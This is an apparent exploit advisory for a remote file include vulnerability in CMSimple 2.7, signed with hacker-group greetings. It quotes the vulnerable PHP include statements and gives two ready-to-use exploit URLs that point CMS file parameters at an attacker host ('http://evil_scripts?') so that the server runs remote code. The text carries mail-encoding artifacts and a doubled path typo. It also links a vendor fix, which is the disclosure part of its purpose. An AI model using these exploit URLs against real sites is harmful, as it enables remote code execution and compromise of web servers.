-----------------------------------------------

cmsimple 2.7 Remote File Include

-----------------------------------------------


Author: Alk()mand()z

-----------------------------------------------
=20
Vuln Code:

if (!@ include ($pth['file']['plugin_index']))
=09


{if(@include($pth['file']['image']))exit;}




-----------------------------------------------

3xplo!t:

cmsimple2_7/cmsimple/cms.php?pth['file']['config']=3Dhttp://evil_scripts?


cmscmsimple2_7/cmsimple/cms.php?pth['file']['image']=3Dhttp://evil_scripts?

-----------------------------------------------

download: http://www.cmsimple.dk/?download=3Dcmsimple2_7_fix1.zip

-----------------------------------------------


Greetz: KaBaRa, SpY0zErO, aG-SpIdEr - TOoOoFa


SpeciaL GreeTz : AsB-MaY-GrOuPs & A-S-T -Team


=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=2 0
##################################

AsB-MaY.NeT & MoHaNdKo.CoM

##################################


--=20
_______________________________________________
Get your free email from http://www.hackermail.com